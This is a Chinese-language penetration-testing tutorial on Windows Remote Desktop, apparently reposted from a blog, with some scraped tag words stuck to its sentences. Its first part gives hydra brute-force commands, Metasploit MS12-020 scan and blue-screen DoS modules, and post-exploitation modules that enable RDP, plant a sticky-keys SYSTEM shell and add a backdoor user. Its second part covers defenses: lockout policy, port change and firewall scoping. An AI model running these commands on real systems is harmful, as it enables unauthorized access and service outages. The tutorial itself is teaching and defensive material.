遠程桌面(RDP)上的滲透測試技巧和防護

 

0x00 前言

在本文中,咱們將討論四種狀況下的遠程桌面滲透測試技巧方法。經過這種攻擊方式,咱們試圖獲取攻擊者如何在不一樣狀況下攻擊目標系統,以及管理員在激活RDP服務時來抵禦攻擊時應採起哪些主要的防護手段。遠程桌面協議(RDP也稱爲終端服務客戶端,是Microsoft開發的專有協議,爲用戶提供經過網絡鏈接遠程登陸到另外一臺計算機的圖形界面。RDP服務器內置於Windows操做系統中默認狀況下,服務器監聽TCP  端口3389 shell

0x01  RDP服務攻擊

1.RDP暴力破解攻擊

讓咱們開始吧!windows

假設admin已容許其系統中的遠程桌面服務進行本地網絡鏈接。api

1.1使用nmap掃描RDP安全

攻擊者能夠藉助nmap來驗證端口3389是否被打開。對於RDP滲透,咱們還使用nmap來掃描目標系統(192.168.0.102)以獲取開放式RDP的端口。服務器

nmap -p 3389 192.168.0.102網絡

若是容許遠程桌面服務,則nmap將顯示OPEN做爲端口3389的狀態,以下圖所示:session

 

1.2.RDP進行暴力攻擊框架

爲了與RDP鏈接,咱們老是須要登陸憑證做爲通過身份驗證的鏈接。有效用戶憑證能夠輸入它的用戶名和密碼,但無效用戶(攻擊者)沒法猜出正確的登陸憑據,所以須要經過暴力攻擊來獲取登陸憑證。編輯器

咱們正在使用hydra來展現對RDP進行暴力攻擊。Hydra:它是一個並行登陸破解程序,支持多種協議攻擊。它很是快速靈活,新模塊易於添加。在kali Linux中打開終端並輸入如下命令:post

Hydra -v -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp//192.168.0.102

從下面的截圖中能夠看到正確地獲取到用戶名:ignite和密碼:123456,咱們經過端口3389上的暴力攻擊檢索到。使用此憑據攻擊者能夠登陸遠程桌面服務。

 

2.掃描端口3389以進行DOS攻擊

不少時候,爲了肯定主機是否容易受到RDP攻擊,攻擊者使用MS12-020檢查來測試其漏洞。在kali Linux下的metasploit框架中打開命令終端,如今鍵入如下命令來掃描漏洞

use auxiliary/scanner/rdp/ms12_020_check

msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102

msf auxiliary(ms12_020_check) >set rport 3389

msf auxiliary(ms12_020_check) > exploit

從下列截圖中能夠看出目標是易受攻擊的,如今你可使用谷歌找到它的攻擊漏洞的poc.

一旦攻擊知道目標端口3389易受到MS12-020-攻擊的漏洞,那麼將嘗試使用Ms12-020_maxchannelids進行攻擊。這將對目標系統發起DOS攻擊。

如今鍵入如下命令進行DOS攻擊,這將致使目標系統藍屏

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102

msf auxiliary(ms12_020_maxchannelids) > set rhost 3389

msf auxiliary(ms12_020_maxchannelids) > exploit

從以下圖所示中,能夠看到目標是因爲某些問題致使系統正在關閉。

DoS攻擊執行者一般攻擊以託管在諸如銀行或信用卡支付網關等高端Web服務器上的站點或服務做爲目標,經過暫時或無限期地中斷鏈接Internet的主機服務,使其目標用戶沒法使用機器或網絡資源。

3.在受害者PC中啓用RDP

若是攻擊者攻擊了未啓用RDP服務的受害者系統,則攻擊者本身可使用由Rapid 7metasploit內部構建的後滲透模塊來開啓RDP服務。 

如今要執行此操做,咱們必須須要一個目標系統的反彈shell。從以下圖所示中,您能夠看到已經獲取了目標系統的反彈shell.

這裏咱們得到了meterpreter的會話1,並經過bypass的會話2得到管理權限。

如今鍵入如下命令以生成後滲透反彈shell用以啓用RDP服務

use post/windows/manage/enable_rdp

msf post(enable_rdp) > sessions

msf post(enable_rdp) >exploit

此模塊能夠將「sticky key」攻擊應用於具備合適權限的會話中。該攻擊提供了一種在RDP登陸屏幕或UAC確認對話框中使用UI級別交互獲取SYSTEM shell的方法

use post/windows/manage/sticky_keys

msf post(sticky_keys) > set sessions 2

msf post(sticky_keys) >exploit

如今使用如下命令鏈接遠程桌面:

rdesktop 192.168.0.102

它會要求提交登陸憑據,但咱們不知道,所以咱們須要發起了上面的 stick key攻擊,以便咱們能夠經過按照以下圖所示的連續按5shift鍵獲取RDP 的命令終端。

4.另外一種啓用RDP的方法

當您已獲取到受害主機系統的meterpreter會話後,啓用RDP服務的命令以及選擇的設置憑證。

Meterpreter> run getgui-e-u raaz-p 1234

從以下圖所示中,你能夠看到已經添加了用戶名raaz密碼1234  可進入遠程桌面用戶管理員的權限。如今您可使用已建立的用戶進行命令登陸,命令以下

rdesktop 192.168.0.102

輸入用戶名raaz和密碼1234用於登陸

如今已成功遠程登陸系統

 

0x02 RDP攻擊防護

1.添加安全策略以防止暴力破解

管理員可使用賬戶鎖定策略保護其網絡免受暴力破解攻擊。在安全設置 > 賬戶策略 > 賬戶鎖定策略下配置如下策略:

賬戶鎖定持續時間:用於定義鎖定賬戶保持時間段的策略,直到自動解鎖或由管理員重置。當用戶超過賬戶鎖定閾值設置的登陸嘗試時,它將鎖定賬戶指定的時間。

賬戶鎖定閾值:定義失敗登陸嘗試次數的策略,將在賬戶鎖定持續時間指定的某段時間內鎖定賬戶。它將容許最大數量指定嘗試登陸您的賬戶。

被鎖帳戶鎖定計數器:用於定義登陸嘗試失敗後必須通過的時間段的策略。重置時間必須小於或等於賬戶鎖定時間。

以下實例設置

賬戶鎖定時間: 30分鐘

賬戶鎖定閾值: 2次無效登陸嘗試

被鎖賬戶鎖定計算器: 30分鐘後

若是嘗試次數大於  賬戶鎖定閾值,則攻擊者可能會被鎖定帳戶。

如今再次經過對端口3389進行暴力破解攻擊來測試賬戶鎖定策略

hydra -v -f -l ignite  -P /root/Desktop/dict.txt rdp//192.168.0.102

當攻擊者檢索用戶名和密碼時,確定會使用它們進行登陸,但正如您所看到的那樣,嘗試破解密碼須要超過2次,所以根據設置的策略,賬戶應該被鎖定30分鐘.

讓咱們經過登陸遠程桌面來驗證它。

打開命令終端並輸入「rdesktop 192.168.0.102」,當得到目標屏幕時,輸入已爆破檢索的用戶名和密碼。從以下截圖中,您能夠看到咱們已經輸入上面發現的用戶名和密碼 ignite: 123456

當攻擊者提交您的憑據時,它會顯示當前賬戶已被鎖定且沒法登陸的消息,以下圖所示。它鎖定用戶的賬戶 ignit 30分鐘,所以管理員知道有人一直試圖非法訪問遠程桌面。經過這種方式,咱們能夠防護暴力破解攻擊,防止未經受權的訪問。

 

2.端口修改

您能夠在另外一個端口上轉發端口3389以提升系統的安全性,但要在窗口操做系統中經過註冊表編輯器瀏覽如下位置。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

從以下圖所示中,您能夠在右側面板中看到端口號已被選中並單擊它。

將端口從3389更改成特定端口號

您將得到一個編輯DWORD的窗口,能夠在其中編輯32位值。默認狀況下,它將顯示d3d,它是3389的十六進制3389值替換爲您選擇的另外一個值(如3314),並選擇十六進制做爲基數,將3314轉換爲cf2

從以下圖所示,您能夠看到端口3314如今被打開

3.經過系統自帶防火牆保護RDP

打開具備高級設置的防火牆的面板,而後進入其內對配置入站的遠程桌面(TCP-In)配置,以經過在防火牆中設置進行一些更改來添加安全過濾器。

容許來自特定IP的流量

以後,它將打開一個窗口來更改其屬性,單擊範圍選項。在這裏,您將得到兩個鏈接類型的面板,本地遠程 IP地址。 

遠程IP地址中,特定IP地址選擇第二個選項,並輸入要容許鏈接遠程桌面服務的IP,以下圖所示:

 

它將阻止來自其餘IP的全部流量,並提升網絡的安全性,以抵禦任何類型的攻擊。

相關文章
相關標籤/搜索